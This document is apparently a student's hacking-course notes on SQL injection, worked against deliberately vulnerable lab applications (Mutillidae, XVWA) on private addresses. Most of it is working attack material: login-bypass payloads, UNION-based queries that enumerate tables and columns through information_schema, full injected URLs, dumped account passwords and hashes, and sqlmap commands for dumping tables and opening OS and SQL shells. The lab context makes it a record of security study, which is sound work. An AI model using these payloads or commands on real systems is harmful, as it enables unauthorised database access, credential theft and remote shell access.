SQL INJECTION

SQL INJECTION
-----------------------------------------------------------------------------------
=============================== SQL INJECTION =====================================
-----------------------------------------------------------------------------------

mysql -u root -h 192.168.149.128
show databases;
use owasp10
show tables;
select * from accounts
------------------------------------
DISCOVERING SQL INJECTION IN POST
-------------------------------------

go to any login pages  which uses sql

Enter '  in the login and password boxes and see the output



Select * from accounts where username= 'zaid' and password='123456'

give a correct username --> noob

1234' and 1=1#

or

"" or 1=1 --"

Its Select * from accounts where username= 'zaid' and password='PASSWORD' and 1=1 #'

--------------------------------------------------------------------------

Hacking MySql DB password
-------------------------

Select * from accounts where username= 'zaid' and password='anytext' or 1=1 #'

anytext' or 1=1 #

----------------------------------------------------------------------------

Hacking Username and password
-----------------------------

Select * from accounts where username= 'admin' #' and password='anytext' or 1=1 #'

admin' #

Select * from accounts where username= 'admin'
// Because of the #(comment) rest of the query will not be executed and we cam bypass login

-----------------------------------------------------------------------------------------------
========================== HACKING Medium SQL DATABAES ===================================
-----------------------------------------------------------------------------------------------
sql injection can be stopped by 2 methods --> client side filtering and serve side filtering

client side filter can be hacked by using burpsuite

change the password parameter in the request tab

------------------------------------------------------------------------------------------------
========================== Exploiting GET Requests in SQL===================================
-----------------------------------------------------------------------------------------------

index.php?page=user-info.php&username=admin&password=adminpass&user-info-php-submit
-button=View+Account+Details

change it to
-------------------------:
'order by 1%23           :
-------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob' order by 1%23&password=1234&user-info-php-submit-button=View+Account+Details

%number is only used when typing the command in the address bar

%20 = space
%23 = #
%27 = '

--------------------------:
'union select 1,2,3,4,5%23:
--------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,2,3,4,5%23&password=1234&user-info-php-submit-button=View+Account+Details

here 1,5 are occupied

only 2,3,4 showed the outputs which we can modify

-------------------------------------------------:
'union select 1,database(),user(),version(),5%23 :
-------------------------------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,database(),user(),version(),5%23&password=1234&user-info-php-submit-button=View+Account+Details
                   ------------------------------------------------
 
Information Schema: it is a default database created by mysql, it contains all the information about all other databases

-------------------------------------------------------------------------:
'union select 1,table_name,null,null,5 from information_schema.tables%23 :
-------------------------------------------------------------------------:

.tables = table
information_schema = database
table_name = column

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,table_name,null,null,5 from information_schema.tables%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 238 records found.// Shows the records of all the dbs in the server/db


-------------------------------------------------------------------------------------------------------:
'union select 1,table_name,null,null,5 from information_schema.tables where table_schema= 'owasp10'%23 :
-------------------------------------------------------------------------------------------------------:

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,table_name,null,null,5 from information_schema.tables where table_schema= 'owasp10'%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 8 records found.

Username=accounts
Password=
Signature=

Username=blogs_table
Password=
Signature=

Username=captured_data
Password=
Signature=

Username=credit_cards
Password=
Signature=

Username=hitlog
Password=
Signature=

Username=pen_test_tools
Password=
Signature=


So, we found out the columns in the db, lets dig deeper into the database
to check the data in a particular column, the command is

--------------------------------------------------------------------------------------------------------:
'union select 1,column_name,null,null,5 from information_schema.columns where table_name= 'accounts'%23 :
--------------------------------------------------------------------------------------------------------:

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,column_name,null,null,5 from information_schema.columns where table_name= 'accounts'%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 7 records found.

Username=cid
Password=
Signature=

Username=username
Password=
Signature=

Username=password
Password=
Signature=

Username=mysignature
Password=
Signature=

Username=is_admin
Password=
Signature=


so, the columns in the accounts are  CID, username, password,mysignature,is_admin

so, lets get the usernames and passwords from the table


---------------------------------------------------------------:
'union select 1,username,password,is_admin,5 from accounts%23  :
---------------------------------------------------------------:

1,5 cant be substiuted as the data is not displyed in it when tested. so we are using only 2,3,4

Results for . 19 records found.
Username=noob
Password=1234
Signature=Freak

Username=noob
Password=1234
Signature=Noob

Username=admin
Password=adminpass
Signature=TRUE

Username=adrian
Password=somepassword
Signature=TRUE

Username=kevin
Password=42
Signature=FALSE

Username=dave
Password=set
Signature=FALSE

Username=ed
Password=pentest
Signature=FALSE

=============================================================================

==================================================== SQLMAP =====================================================================

sqlmap --help
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details"

List all the databases:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --dbs

Current User:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --current-user

Current DB:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --current-db

Tables:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --tables -D owasp10

Columns:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --columns -T accounts -D owasp10

Dump:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" -T accounts -D owasp10 --dump

OS Shell:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --os-shell

SQL Shell:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --sql-shell
current_user()
user()
database()
select tablename from information_schema.table where table_schema = 'owasp10'



--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

' /try entering ' to check for sql injection
' order by 7#

2,4,5,6 are vulnerable


'union select 1,database(),3,user(),version(),6,7 #

'union select 1,table_name,3,null,null,null,7 from information_schema.table


'union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema= 'xvwa'#
--> users,caffine,comments

'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name= 'users'#
uid, username, password

'union select 1,username,3,password,uid,6,7 from users#

tem Code : admin   Description : 1
Item Name : 21232f297a57a5a743894a0e4a801fc3
Category : 6

Item Code : xvwa   Description : 2
Item Name : 570992ec4b5ad7a313f5dc8fd0825395
Category : 6

Item Code : user   Description : 3
Item Name : 25890deab1075e916c06b9e1efc2e25f